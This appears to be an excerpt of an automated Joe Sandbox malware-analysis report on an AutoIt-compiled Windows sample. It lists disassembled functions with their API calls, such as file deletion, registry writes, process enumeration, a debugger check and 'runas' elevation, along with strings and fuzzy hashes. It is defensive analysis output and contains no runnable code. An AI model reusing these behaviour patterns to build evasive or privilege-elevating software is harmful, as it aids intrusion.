Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: d20af4b4669c3bb5178da307f383c2d3226cc00cead4d32c1b5850ab154ae6b5
Instruction ID: 8616baec45a7be5ba0cdbd5bc393695074963b37228c463c2e2dbbaf19c4d907
Opcode Fuzzy Hash: d20af4b4669c3bb5178da307f383c2d3226cc00cead4d32c1b5850ab154ae6b5
Instruction Fuzzy Hash: 30A1953A8196C0CFC726CF797E401D97FB46B27304B8498B9F94597622C6EC4558CB2D

Function 00373312 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,003732EF,?), ref: 00373342
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,003732EF,?), ref: 00373355
GetFullPathNameW.KERNEL32(00007FFF,?,?,00442418,00442400,?,?,?,?,?,?,003732EF,?), ref: 003733C1

Part of subcall function 003784B7: _wcslen.LIBCMT ref: 003784CA

Part of subcall function 003741E6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,003733E9,00442418,?,?,?,?,?,?,?,003732EF,?), ref: 00374227

SetCurrentDirectoryW.KERNELBASE(?,00000001,00442418,?,?,?,?,?,?,?,003732EF,?), ref: 00373442
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 003B3C8A
SetCurrentDirectoryW.KERNEL32(?,00442418,?,?,?,?,?,?,?,003732EF,?), ref: 003B3CCB
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,004331F4,00442418,?,?,?,?,?,?,?,003732EF), ref: 003B3D54
ShellExecuteW.SHELL32(00000000,?,?), ref: 003B3D5B

Part of subcall function 0037345A: GetSysColorBrush.USER32(0000000F), ref: 00373465
Part of subcall function 0037345A: LoadCursorW.USER32(00000000,00007F00), ref: 00373474
Part of subcall function 0037345A: LoadIconW.USER32(00000063), ref: 0037348A
Part of subcall function 0037345A: LoadIconW.USER32(000000A4), ref: 0037349C
Part of subcall function 0037345A: LoadIconW.USER32(000000A2), ref: 003734AE
Part of subcall function 0037345A: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 003734C6
Part of subcall function 0037345A: RegisterClassExW.USER32(?), ref: 00373517

Part of subcall function 0037353A: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00373568
Part of subcall function 0037353A: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00373589
Part of subcall function 0037353A: ShowWindow.USER32(00000000,?,?,?,?,?,?,003732EF,?), ref: 0037359D
Part of subcall function 0037353A: ShowWindow.USER32(00000000,?,?,?,?,?,?,003732EF,?), ref: 003735A6

Part of subcall function 003738F2: Shell_NotifyIconW.SHELL32(00000000,?), ref: 003739C3

Strings

0$D, xrefs: 0037341C
It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 003B3C84
runas, xrefs: 003B3D4F
AutoIt, xrefs: 003B3C7F

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcslen
String ID: 0$D$AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 683915450-319202188
Opcode ID: cee5de3dd18bc0ec410063b21128163c48ee95d773fcb06601efc498db878d5f
Instruction ID: 9bb1cac8d8e235840261d6f7a31a92e932e44c590ecd534939df97d0d653a26c
Opcode Fuzzy Hash: cee5de3dd18bc0ec410063b21128163c48ee95d773fcb06601efc498db878d5f
Instruction Fuzzy Hash: 76512870108341AAD727EF60DD05ABE7BB8DF85714F80843DF4895A1A2CB7C8A4DD726

Function 003E9F9F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,74DE8FB0,?,00000000), ref: 003E9FC0
GetFileAttributesW.KERNELBASE(?), ref: 003E9FFE
SetFileAttributesW.KERNELBASE(?,?), ref: 003EA018
FindNextFileW.KERNELBASE(00000000,?), ref: 003EA030
FindClose.KERNEL32(00000000), ref: 003EA03B
FindFirstFileW.KERNEL32(*.*,?), ref: 003EA057
SetCurrentDirectoryW.KERNEL32(?), ref: 003EA0A7
SetCurrentDirectoryW.KERNEL32(00437B94), ref: 003EA0C5
FindNextFileW.KERNEL32(00000000,00000010), ref: 003EA0CF
FindClose.KERNEL32(00000000), ref: 003EA0DC
FindClose.KERNEL32(00000000), ref: 003EA0EC

Strings

*.*, xrefs: 003EA052

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 9e8c01f44f5be928e42b122b9d37ba1450c56430d798114cc5cdf3204b335098
Instruction ID: faccdfe356da8ec2813ed41d08231ada5a00ba9f86bdda5c7d8606e0d6e7c711
Opcode Fuzzy Hash: 9e8c01f44f5be928e42b122b9d37ba1450c56430d798114cc5cdf3204b335098
Instruction Fuzzy Hash: B9310831A006696BDF129FF5DC49ADE77ACAF05320F1142A6E805E30D1DB34EE88CB15

Function 003DD836 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0037557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00375558,?,?,003B4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0037559E

Part of subcall function 003DE9C5: GetFileAttributesW.KERNELBASE(?,003DD755), ref: 003DE9C6

FindFirstFileW.KERNELBASE(?,?), ref: 003DD8E2
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 003DD99D
MoveFileW.KERNEL32(?,?), ref: 003DD9B0
DeleteFileW.KERNEL32(?,?,?,?), ref: 003DD9CD
FindNextFileW.KERNELBASE(00000000,00000010), ref: 003DD9F7

Part of subcall function 003DDA5C: CopyFileExW.KERNELBASE(?,?,00000000,00000000,00000000,00000008,?,?,003DD9DC,?,?), ref: 003DDA72

FindClose.KERNEL32(00000000,?,?,?), ref: 003DDA13
FindClose.KERNEL32(00000000), ref: 003DDA24

Strings

\*.*, xrefs: 003DD88D, 003DD896, 003DD8AB

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 4c2769b76b18dfe48e4c58589312d7dd203fa8e755a8e6a5ca9afa2c1031730a
Instruction ID: 42a0e5c33be1dba7967ba266fc11a6b369e1bc12325009a131da8fa10146b4c5
Opcode Fuzzy Hash: 4c2769b76b18dfe48e4c58589312d7dd203fa8e755a8e6a5ca9afa2c1031730a
Instruction Fuzzy Hash: 36614032C0114D9BCF16EFE0DA52AEDBB75AF15300F2480AAE445BB256EB355F09DB50

Function 003DDB69 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0037557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00375558,?,?,003B4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0037559E

Part of subcall function 003DE9C5: GetFileAttributesW.KERNELBASE(?,003DD755), ref: 003DE9C6

FindFirstFileW.KERNELBASE(?,?), ref: 003DDBE0
DeleteFileW.KERNELBASE(?,?,?,?), ref: 003DDC30
FindNextFileW.KERNEL32(00000000,00000010), ref: 003DDC41
FindClose.KERNEL32(00000000), ref: 003DDC58
FindClose.KERNEL32(00000000), ref: 003DDC61

Strings

\*.*, xrefs: 003DDBB2

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 95b98fb58a74ab62ebc1f8ef6ea1c834f00b88eafc6b27a71178e084d3301d37
Instruction ID: d3ffec286407d028be59e20e036fb5292f20a165ff22f07b589b378d37fda54f
Opcode Fuzzy Hash: 95b98fb58a74ab62ebc1f8ef6ea1c834f00b88eafc6b27a71178e084d3301d37
Instruction Fuzzy Hash: 2031C3320083449BC312EF64D8919AFB7F8BE92304F40895EF4D5972A1DB74DA0DCB56

Function 003DDC9C Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 003DDCC1
Process32FirstW.KERNEL32(00000000,?), ref: 003DDCCF
Process32NextW.KERNEL32(00000000,?), ref: 003DDCEF
CloseHandle.KERNELBASE(00000000), ref: 003DDD9C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 5017cbbdc454c035fce27a3a1a383cf10cd096c0be3a865f959ead5c2ad41739
Instruction ID: af42b25636e957e0cb94644c729b1b535ee2da2fc5e43c3113817ca56ce57815
Opcode Fuzzy Hash: 5017cbbdc454c035fce27a3a1a383cf10cd096c0be3a865f959ead5c2ad41739
Instruction Fuzzy Hash: 8031A4725083009FD712EF64DC85BAFBBF8AF99350F04482DF5858B2A1DB719949CB92

Function 003DE387 Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,003B4686), ref: 003DE397
GetFileAttributesW.KERNELBASE(?), ref: 003DE3A6
FindFirstFileW.KERNELBASE(?,?), ref: 003DE3B7
FindClose.KERNELBASE(00000000), ref: 003DE3C3

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 52ce6813526158d7145413ce1c5dd369db00ec7747660bc05eee0531d0215efa
Instruction ID: bb5278af4a3af4f18db0ab75c989e0e2e006718dcc858c143c5abe2637288820
Opcode Fuzzy Hash: 52ce6813526158d7145413ce1c5dd369db00ec7747660bc05eee0531d0215efa
Instruction Fuzzy Hash: 1BF0A03281192057C31277B8AD0D8BA7FAC9E41335B104766F835D22F0DBB099994699

Function 00395078 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0039504E,?,004398D8,0000000C,003951A5,?,00000002,00000000), ref: 00395099
TerminateProcess.KERNEL32(00000000,?,0039504E,?,004398D8,0000000C,003951A5,?,00000002,00000000), ref: 003950A0
ExitProcess.KERNEL32 ref: 003950B2

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2eaf1af1fb9d29903b6f34ab7f19d45d88bc05ee923532eb18e8172bfa0c3ebb
Instruction ID: b182786c61c898425c3a424096d52f85866aafd5e6ddd8b8f7336962a204447b
Opcode Fuzzy Hash: 2eaf1af1fb9d29903b6f34ab7f19d45d88bc05ee923532eb18e8172bfa0c3ebb
Instruction Fuzzy Hash: 37E0B631800548AFDF236FA4DE0DE593B69EB41381F014028FC459A232DF35DD86CB94

Function 003CE5F8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 003CE60A

Strings

X64, xrefs: 003CE626

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 7b7d8f9d5f658d3e74c70d13057465e5706560f1aeae46c601377e9269cd3dee
Instruction ID: f786413c966820c677d21cebd04a8e40617b8098ed5c6d564473258ffee91e16
Opcode Fuzzy Hash: 7b7d8f9d5f658d3e74c70d13057465e5706560f1aeae46c601377e9269cd3dee
Instruction Fuzzy Hash: A9D0C9B4C1111DEACB91CB90DC88DDD737CBB04304F1001A5F50AE2000DB34A5488B10

Function 003FCD16 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003FCE1C
RegCreateKeyExW.KERNELBASE(?,?,00000000,0040DCD0,00000000,?,00000000,?,?), ref: 003FCEA3
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 003FCF03
_wcslen.LIBCMT ref: 003FCF53
_wcslen.LIBCMT ref: 003FCFCE
RegSetValueExW.KERNELBASE(00000001,?,00000000,00000001,?,?), ref: 003FD011
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 003FD120
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 003FD1AC
RegCloseKey.KERNELBASE(?), ref: 003FD1E0
RegCloseKey.ADVAPI32(00000000), ref: 003FD1ED
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 003FD2BF

Strings

REG_EXPAND_SZ, xrefs: 003FCF2C
REG_SZ, xrefs: 003FCFA3
REG_MULTI_SZ, xrefs: 003FD054
REG_BINARY, xrefs: 003FD272
REG_DWORD, xrefs: 003FD163
REG_QWORD, xrefs: 003FD222

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 65b089507ed1d89caf8417fe36ddd1c31b3dee7caf4aae018e46192612d970aa
Instruction ID: 913a5f23bdabf46887400b9967da073f650714e956a402e8cc0e64d82963e2bb
Opcode Fuzzy Hash: 65b089507ed1d89caf8417fe36ddd1c31b3dee7caf4aae018e46192612d970aa
Instruction Fuzzy Hash: 371267352042059FDB26DF14C885A2AB7E6FF88714F15849CF99A9F3A2CB35ED41CB81

Function 00373E15 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#comments-start, xrefs: 00373EFC, 00373F4E
", xrefs: 003B45B7
#ce, xrefs: 00373F8A
#cs, xrefs: 00373F10, 00373F62
', xrefs: 003B45CD
#notrayicon, xrefs: 00373E84
Bad directive syntax error, xrefs: 003B45FE
#include-once, xrefs: 00373ECC
Cannot parse #include, xrefs: 003B46DD
#pragma compile, xrefs: 00373E70
Unterminated group of comments, xrefs: 003B46F0
#comments-end, xrefs: 00373F76
#include, xrefs: 00373EE4
#OnAutoItStartRegister, xrefs: 00373EB4
#requireadmin, xrefs: 00373E9C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: b7482771c8a80de77edcb9119d1832f22169419f6ab14589f763bf1e32709c71
Instruction ID: 05226bdc90e6f256d4bc32a744a04a920cabeefd400443f7e9d670c45e999613
Opcode Fuzzy Hash: b7482771c8a80de77edcb9119d1832f22169419f6ab14589f763bf1e32709c71
Instruction Fuzzy Hash: A9812771A40205BBDF33AF64DC42FEE7B68AF05700F148026F909AE582EB78DA45D759

Function 00373696 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00373690,?,?), ref: 003736FE
KillTimer.USER32(?,00000001,?,?,?,?,?,00373690,?,?), ref: 0037372A
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0037374D
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00373690,?,?), ref: 00373758
CreatePopupMenu.USER32 ref: 0037376C
PostQuitMessage.USER32(00000000), ref: 0037378D

Strings

0$D, xrefs: 003B3DD1
TaskbarCreated, xrefs: 00373753
0$D, xrefs: 003B3D83

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: 0$D$0$D$TaskbarCreated
API String ID: 129472671-859958045
Opcode ID: 5fa9b2142f971edfb3b96baa76e0b8b11cc47fd90f5926df3d8097efc96c7608
Instruction ID: 81a71e3f28f0d40ecd6615664bbcfc02a87ee59e14138c50e4bf6ab99de7a088
Opcode Fuzzy Hash: 5fa9b2142f971edfb3b96baa76e0b8b11cc47fd90f5926df3d8097efc96c7608
Instruction Fuzzy Hash: 1F414DF5204185B7DB3B1F78CD4ABB93A69E705310F40C139F5098A690CBBD9B00B71A

Function 003735AB Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 003735DE
RegisterClassExW.USER32(00000030), ref: 00373608
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00373619
InitCommonControlsEx.COMCTL32(?), ref: 00373636
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00373646
LoadIconW.USER32(000000A9), ref: 0037365C
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 0037366B

Strings

0, xrefs: 003735C0
TaskbarCreated, xrefs: 0037360E
+, xrefs: 003735C7
AutoIt v3 GUI, xrefs: 003735FA

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: b48e16fdc0fd591c14f9314a15ac2ed595d5b1dd343d32db6d0bb365f4931e80
Instruction ID: 7e67eda22af24f70a248c099ca04ede5ff5ae4f2343740a5127d76ba9e05ce19
Opcode Fuzzy Hash: b48e16fdc0fd591c14f9314a15ac2ed595d5b1dd343d32db6d0bb365f4931e80
Instruction Fuzzy Hash: 5B21E5B5E01219AFDB00DFE4EE49B9DBBB4FB09704F00412AF515B62A0D7B44545CF99

Function 003B09FB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003B073A: CreateFileW.KERNELBASE(00000000,00000000,?,003B0AA4,?,?,00000000,?,003B0AA4,00000000,0000000C), ref: 003B0757

GetLastError.KERNEL32 ref: 003B0B0F
__dosmaperr.LIBCMT ref: 003B0B16
GetFileType.KERNELBASE(00000000), ref: 003B0B22
GetLastError.KERNEL32 ref: 003B0B2C
__dosmaperr.LIBCMT ref: 003B0B35
CloseHandle.KERNEL32(00000000), ref: 003B0B55
CloseHandle.KERNEL32(?), ref: 003B0C9F
GetLastError.KERNEL32 ref: 003B0CD1
__dosmaperr.LIBCMT ref: 003B0CD8

Strings

H, xrefs: 003B0C5D

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: becaa2a964e86e887994a28efc1d00946080e2508318febcdd1d1f809e421a0c
Instruction ID: d91149d28f0dc20ac05ab4fb3a241ed726f2a3dec6ac7e2061439999a47f4559
Opcode Fuzzy Hash: becaa2a964e86e887994a28efc1d00946080e2508318febcdd1d1f809e421a0c
Instruction Fuzzy Hash: 68A1E632A042148FDF1EEF78D892BAE7BA0AB06328F14015DF911DF2E1DB319956CB55

Function 0037522E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0037551B: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,003B4B50,?,?,00000100,00000000,00000000,CMDLINE,?,?,00000001,00000000), ref: 00375539

Part of subcall function 003751BF: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 003751E1

